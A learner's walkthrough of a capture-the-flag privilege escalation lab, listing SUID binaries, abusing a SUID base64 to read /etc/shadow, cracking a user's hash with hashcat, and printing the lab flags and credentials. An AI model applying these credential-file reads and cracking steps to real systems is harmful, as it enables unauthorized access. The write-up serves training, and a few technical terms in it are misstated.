Privilege Escalation Capstone Challenge

Username: leonard
Password: Penny123
IP: 10.10.234.50

In this challenge we need to find the appropriate way to escalate the privileges to access flag1.txt and flag2.txt.

Firstly I tried to experiment a bit, I tried using sudo -l on leonards user but it was not permittable.
Next I tried searching the SUID bitset:
find / -type f -perm -04000 -ls 2>/dev/null

```
[leonard@ip-10-10-234-50 perl5]$ find / -type f -perm -04000 -ls 2>/dev/null
16779966   40 -rwsr-xr-x   1 root     root        37360 Aug 20  2019 /usr/bin/base64
17298702   60 -rwsr-xr-x   1 root     root        61320 Sep 30  2020 /usr/bin/ksu
17261777   32 -rwsr-xr-x   1 root     root        32096 Oct 30  2018 /usr/bin/fusermount
17512336   28 -rwsr-xr-x   1 root     root        27856 Apr  1  2020 /usr/bin/passwd
17698538   80 -rwsr-xr-x   1 root     root        78408 Aug  9  2019 /usr/bin/gpasswd
17698537   76 -rwsr-xr-x   1 root     root        73888 Aug  9  2019 /usr/bin/chage
17698541   44 -rwsr-xr-x   1 root     root        41936 Aug  9  2019 /usr/bin/newgrp
17702679  208 ---s--x---   1 root     stapusr    212080 Oct 13  2020 /usr/bin/staprun
17743302   24 -rws--x--x   1 root     root        23968 Sep 30  2020 /usr/bin/chfn
17743352   32 -rwsr-xr-x   1 root     root        32128 Sep 30  2020 /usr/bin/su
17743305   24 -rws--x--x   1 root     root        23880 Sep 30  2020 /usr/bin/chsh
17831141 2392 -rwsr-xr-x   1 root     root      2447304 Apr  1  2020 /usr/bin/Xorg
17743338   44 -rwsr-xr-x   1 root     root        44264 Sep 30  2020 /usr/bin/mount
17743356   32 -rwsr-xr-x   1 root     root        31984 Sep 30  2020 /usr/bin/umount
17812176   60 -rwsr-xr-x   1 root     root        57656 Aug  9  2019 /usr/bin/crontab
17787689   24 -rwsr-xr-x   1 root     root        23576 Apr  1  2020 /usr/bin/pkexec
18382172   52 -rwsr-xr-x   1 root     root        53048 Oct 30  2018 /usr/bin/at
20386935  144 ---s--x--x   1 root     root       147336 Sep 30  2020 /usr/bin/sudo
34469385   12 -rwsr-xr-x   1 root     root        11232 Apr  1  2020 /usr/sbin/pam_timestamp_check
34469387   36 -rwsr-xr-x   1 root     root        36272 Apr  1  2020 /usr/sbin/unix_chkpwd
36070283   12 -rwsr-xr-x   1 root     root        11296 Oct 13  2020 /usr/sbin/usernetctl
35710927   40 -rws--x--x   1 root     root        40328 Aug  9  2019 /usr/sbin/userhelper
38394204  116 -rwsr-xr-x   1 root     root       117432 Sep 30  2020 /usr/sbin/mount.nfs
958368   16 -rwsr-xr-x   1 root     root        15432 Apr  1  2020 /usr/lib/polkit-1/polkit-agent-helper-1
37709347   12 -rwsr-xr-x   1 root     root        11128 Oct 13  2020 /usr/libexec/kde4/kpac_dhcp_helper
51455908   60 -rwsr-x---   1 root     dbus        57936 Sep 30  2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper
17836404   16 -rwsr-xr-x   1 root     root        15448 Apr  1  2020 /usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper
18393221   16 -rwsr-xr-x   1 root     root        15360 Oct  1  2020 /usr/libexec/qemu-bridge-helper
37203442  156 -rwsr-x---   1 root     sssd       157872 Oct 15  2020 /usr/libexec/sssd/krb5_child
37203771   84 -rwsr-x---   1 root     sssd        82448 Oct 15  2020 /usr/libexec/sssd/ldap_child
37209171   52 -rwsr-x---   1 root     sssd        49592 Oct 15  2020 /usr/libexec/sssd/selinux_child
37209165   28 -rwsr-x---   1 root     sssd        27792 Oct 15  2020 /usr/libexec/sssd/proxy_child
18270608   16 -rwsr-sr-x   1 abrt     abrt        15344 Oct  1  2020 /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache
18535928   56 -rwsr-xr-x   1 root     root        53776 Mar 18  2020 /usr/libexec/flatpak-bwrap
[leonard@ip-10-10-234-50 perl5]$
```

After having a little look around we found the base64! Which we have actually access before suing a previous example in the SUID module.

Now we just need to look for base65 on GTFObins.

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which base64) .

LFILE=file_to_read
./base64 "$LFILE" | base64 --decode
```

Here we are again. Now the first file we need to read is the flag file, flag1.txt. BUT before we can exploit it we need to ensure we have the correct path to it.
First, I went to
cd /home
ls

Now the permissions were denied for missy and rootflag wasn't having none of it either. Both of them were denied.
But that is okay, because we have one step of the pathway. We can brute force our way in.

LFILE=/home/missy.flag1.txt
At this point there is no guarantee it is in there, but it's worth a try.
/usr/bin/base64 "$LFILE" | base64 --decode
No such file or directory… Okay! Let's try the rootflag folder too.
LFILE=/home/rootflag.flag1.txt
./base64 "$LFILE" | base64 --decode
Same again! So there may be another path which the text file is within.
The next bet would be to try "find" the file.
find / -name flag1.txt -type f 2>/dev/null
This searches all directories for flag1.txt and any errors or access denied will not be shown.
This returned nothing..
Let's try using LFILE to escalate our privileges.
LFILE=/etc/shadow
/usr/bin/base64 "$LFILE" | base64 --decode
This worked! We managed to get the hash of missy.

What I can determine is because of the 6 it is an SSH-512 hash.
What I will do first is save that long string above to a text file on the attack box.

hash.txt
Then use the following code to crack it:

hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt --force

I may have consulted other methods to find the cracked password as I was unable to do it solely alone but it became:
Password1
Anyway now that we have that information we can switch to missy using that password
su missy
Now we can navigate to
/home/missy
ls
There is a multitude of files within
Instinctively I went into documents and yes! After doing:
cd Documents
ls
There it was the flag1.txt
So I finally did:
cat flag1.txt
THM-42828719920544

Finally we need to find flag2.txt
We will assume that the flag2.txt is in the other user: **rootflag.** But in order to get this flag we need to use base64, using a different path.
LFILE=/home/rootflag/flag2.txt
To see if it works
/usr/bin/base64 "$LFILE" | base64 --decode
Success! It actually worked:
THM-168824782390238

Conclusion:
I have to say this whole module was very enjoyable, but also tested my skills and abilities to the limit. I spent a lot of time on this module trying to figure out each step, not just find shortcuts but really try and understand the why. I also had a walkthrough on standby, but used it actually in a very reserved capacity. But it also helped show me that even those with a lot of experience struggle, furthermore experience in this particular area is key, because without first hand experience at it, there is no way you can get good at it, and no amount of theory can help the process in how it is done actively.